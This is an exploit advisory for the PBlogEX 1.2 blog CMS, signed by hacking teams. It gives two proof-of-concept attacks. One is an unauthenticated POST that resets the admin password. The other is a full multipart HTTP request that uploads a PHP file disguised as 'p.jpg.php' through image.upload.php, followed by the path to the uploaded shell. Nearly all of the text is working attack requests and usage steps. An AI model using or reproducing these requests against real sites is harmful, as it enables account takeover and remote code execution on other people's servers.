PBlogEX 1.2 Shell Upload

# PBlogEX v1.2 Multiply Vulnerabilities

# vendor: http://www.twelvedev.com/
# By l3lack_lord
# WwW.Mokhareb.NeT
# Demo: http://f-ochoa.com/
# Tested On: Apache/2.2.9 - PHP/5.2.6
# Date: 2011/03/4

# Des:
# The Admin Password Change Not Authoritated for execute

# POC:
http://Site.com/PBlogEX/admin/admin.password.php
[POST]user=1&password=l3lack_lord

Now Password Will change to l3lack_lord
http://Site.com/PBlogEX/admin
u should gess admin user :)

#################################################################

# Des:
# Remote Shell uplode possible on this cms with no authetication in image.upload.php

# POC:
http://Site.com/PBlogEX/admin/image.upload.php
[POST]
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://Site.com/PBlogEX/admin/admin.php
Content-Type: multipart/form-data; boundary=---------------------------225932708016080
Content-Length: 5775

-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="filephoto"; filename="p.jpg.php"\r\n
Content-Type: image/jpeg\r\n
\r\n
<?php\r\n
phpinfo();\r\n
?>\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="titlephoto"\r\n
\r\n
aaa\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="descphoto"\r\n
\r\n
aaa\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="Default1"\r\n
\r\n
on\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="0"\r\n
\r\n
f\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="1"\r\n
\r\n
i\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="2"\r\n
\r\n
l\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="3"\r\n
\r\n
e\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="4"\r\n
\r\n
p\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="5"\r\n
\r\n
h\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="6"\r\n
\r\n
o\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="7"\r\n
\r\n
t\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="8"\r\n
\r\n
o\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="9"\r\n
\r\n
=\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="10"\r\n
\r\n
p\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="11"\r\n
\r\n
.\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="12"\r\n
\r\n
j\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="13"\r\n
\r\n
p\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="14"\r\n
\r\n
g\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="15"\r\n
\r\n
&\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="16"\r\n
\r\n
t\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="17"\r\n
\r\n
i\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="18"\r\n
\r\n
t\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="19"\r\n
\r\n
l\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="20"\r\n
\r\n
e\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="21"\r\n
\r\n
p\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="22"\r\n
\r\n
h\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="23"\r\n
\r\n
o\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="24"\r\n
\r\n
t\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="25"\r\n
\r\n
o\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="26"\r\n
\r\n
=\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="27"\r\n
\r\n
a\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="28"\r\n
\r\n
a\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="29"\r\n
\r\n
a\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="30"\r\n
\r\n
&\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="31"\r\n
\r\n
d\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="32"\r\n
\r\n
e\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="33"\r\n
\r\n
s\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="34"\r\n
\r\n
c\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="35"\r\n
\r\n
p\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="36"\r\n
\r\n
h\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="37"\r\n
\r\n
o\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="38"\r\n
\r\n
t\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="39"\r\n
\r\n
o\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="40"\r\n
\r\n
=\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="41"\r\n
\r\n
a\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="42"\r\n
\r\n
a\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="43"\r\n
\r\n
a\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="44"\r\n
\r\n
&\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="45"\r\n
\r\n
D\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="46"\r\n
\r\n
e\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="47"\r\n
\r\n
f\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="48"\r\n
\r\n
a\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="49"\r\n
\r\n
u\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="50"\r\n
\r\n
l\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="51"\r\n
\r\n
t\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="52"\r\n
\r\n
1\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="53"\r\n
\r\n
=\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="54"\r\n
\r\n
o\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="55"\r\n
\r\n
n\r\n
-----------------------------225932708016080--\r\n


copy file name in error that will print..like 2011-03-02_7032_p.jpg.php
Shell Path :
http://Site.com/PBlogEX/images/2011-03-02_7032_p.jpg.php


# Virangar Security Team , DeltaHacking TEam , Aria-Security
# tnX t0 mY cronies Hares And Netw0rm :-*